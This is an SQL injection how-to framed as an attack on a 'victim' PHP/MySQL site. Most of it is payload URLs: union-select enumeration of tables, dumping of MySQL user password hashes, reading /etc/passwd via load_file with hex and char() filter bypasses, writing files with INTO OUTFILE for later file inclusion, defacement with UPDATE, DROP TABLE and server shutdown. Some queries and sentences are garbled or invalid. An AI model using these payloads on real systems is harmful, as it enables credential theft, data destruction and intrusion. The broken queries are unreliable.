What is SQL injection? It
is a mean of database exploitation through queries (sql commands) in order to
read database tables contents, mainly, attack or gain unauthorized access to a
system using the exploited database. A great number of modern websites suffers
from this vulnerability, which can cause simple information leakage or total
improvisation. So its severity is relative high.
What causes this
vulnerability? Improper sanitization of submitted info procedures.SQL
injections based on poorly filtered strings are caused by user input that is
not filtered for escape characters. This means that a user can input a variable
that can be passed on as an SQL statement, resulting in database input
manipulation by the end user. Code that is vulnerable to this type of
vulnerability might look something like this:
$pass =
$_GET['pass']; $password = mysql_query("SELECT password FROM users WHERE
password = '". $pass . "';");
Lets
suppose a webpage http://www.victim.com/index.php?id=1 the first stage of
attack includes finding the number of coloumns of database table. This can be
done in the following way:
http://www.victim.com/index.php?id=1
order by x
where
x=1,2,3 (1+) raising until an error message is gotten. The x-1 number is the
exact number of columns.
Next
follows finding the names of tables and coloumns of the table, as well as any
other tables and columns using the information_schema. First let us
understand about the information schema.
What is Information Schema? It is a major table
existing in any PHP version database including information about: table names,
column names, users, database, users privilege, privileges, database So to
achieve this two methods can be used the union+select or the grouped by
method:
http://www.victim.com/index.php?id=-1+union+select+1,2,3--
(or union all select 1,2,3--)
At this
point id=-1 and – are met. The first one is the null value(can be used
also:null). The seconde one –means the end of the query, any text after that
is just commenting. Also can be used # or /*. The previous means select names
of 1,2,3 from any database, with out null value just taken again the initial
url. Also words in url can be connected with simple whitespaces,+ or %20, last
is the hex character for space.
The
second method takes advantage of id:
http://www.victim.com/index.php?Select
1,2,3 grouped by id=1--
Each time
on the page appears a number columns and any other new information possible to
be related with columns_name, then that number should be substituted by the
proper info. So in following steps it is possible reading the column_names. The
following step includes involving information_schema tables
http://www.victim.com/index.php?id=-1+union+select+1,2,3+from+information_schema.tables--
http://www.victim.com/index.php?id=-1+union+select+1,concat(table_name),3,..,N+FROM+INFORMATION_SCHEMA.TABLES+limit+0,1--
In the
last query a new command is used, limit. With limit 0,1 the first table is
returned. With limit 1,1 the second table is returned, with limit 14,1 the 15
table is returned, with limit 18,1 the 19 table is returned and so on.The
procedure is repeated until getting an error. When error is gotten all tables
are found.
More info
about database version, database and user can be gained by using the proper sql
function into the queries. In MySQL version 5 and below it is possible to get
MySQL root rights. These versions include a table named mysql.user containing
hashes and usernames for logins, like in the following code
http://www.victim.com/index.php?id=5
UNION ALL SELECT concat(username,0x3a,password),2 from mysql.user/*
Hashes
are in mysqlsha1 format. To check what privileges a user has the following
query can be used
http://www.site.gr/index.php?id=-1+union+all+select+1,2,group_concat(user,0x3a,file_priv),4,5,6,7+from+mysql.user--
the
result are in format Username:Privileges When Y appears there are relative
privileges, where N appears not.
http://www.victim.com/index.php?id=-1+union+select+1,2,version()--
http://www.victim.com/index.php?id=-1+union+select+1,2,@@version--
http://www.victim.com/index.php?id=-1+union+select+1,2,user()--
http://www.victim.com/index.php?id=-1+union+select+1,2,database()--
Although
these functions are not columns of database they are implemented in the query
as one of the existing columns otherwise a message of improper columns number
is returned. The functions are inserted in place of vulnerable field. Modifying
database content: After information is found about a database either with SQL
injection or Blind SQL injection, described in later lines, it is possible to
modify its content.
Suppose
the victim page http://www.victim.com/index.php?id=5 and the query (with column
names): select title, article, author from data where id=5 (found by injection)
So table name can be change:
http://www.victim.com/index.php?id=5
UPDATE table_name SET title='hacked',article='hacked',author='somebody'--
thus
changing title,article and author. Or it is possible to delete one or more
columns:
http://www.victim.com/index.php?id=5
DELETE title,article,author from data--
or
http://www.victim.com/index.php?id=5
DELETE title,article,author FROM data where id=5-- for id=5 etc.
http://www.victim.com/index.php?id=5
DROP TABLE data--
this last
query completely deletes one table. In the previous queries it was possible to
delete any number of columns.
Putting MySQL server offline: The command SHUTDOWN WITH
NOWAIT is used, for example take the following query:
http://www.victim.com/index.php?id=5
SHUTDOWN WITH NOWAIT; LOAD_FILE
it
permits viewing the contents of a given file. As seen in the following query,
function load_file() replaces vulnerable parameter as well as it is given with
full working directory.
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file('/etc/passwd'),4,5,6,7+from+mysql.user--
If this
query returns an error that means that a magic quote filetering is used as
countermeasure, with the server inserting backslashes before and after quotes.
It bypasses magic quote filtering the file (directory) should be written in
hexademical format or each character should be replaced with its ASCII value,
all values seperated with commas (,) when using char() function. When using
hexademical formatting, that is specified in the query by inserting 0x just
before the hexademical values, without any empty space before and after the
hexademical values. For example the previous query using hex and char is
written in the following ways:
For
hexademical formatting:
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file(0x2f6574632f706173737764),4,5,6,7+from+mysql.user--
For
char() method:
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7+from+mysql.user--
INTO OUTFILE
With this
command it is possible to write a file into a given directory with a specific
text. In the following example the file test. When using this method as above
and more than one fields are vulnerable (columns), then the last is replaced
with the query, the other replaced with null. When return or enter keys are
used in text, it is written and trasposed into char or hex. If magic quote
filtering is used, then the text, just the text is converted to hex.
The
directory, file should be written with precision inside ' '. In the following
example the query creates a file test.txt in directory home/site/www/ with the
text “testing” (http://www.site.gr/test.txt). A possible exploitation of this
method is creating a vulnerable file inside a server and later attacking it
with RFI.
http://www.examplesite.com/index.php?id=-1+union+all+select+1,2,"testing",4,5,6,7+INTO+OUTFILE+'/home/site/www/test.txt'--
Blind SQL
injection in this method conclusions are based on difference between valid and
invalid query results after our valid or invalid inputs. Because unlike simple
sql injection we dont receive any direct info on page this type of injection is
called blind.
Suppose
the page http://www.victim.com/index.php?id=1We try
injecting the following statements
http://www.victim.com/index.php?id=1
and 1=1http://www.victim.com/index.php?id=1 and 1=2
The first
request always results true returning the initial page. But on the second
request, and incase there is not any proper defensive filter, we get a false
result, differing from the result of the previous request.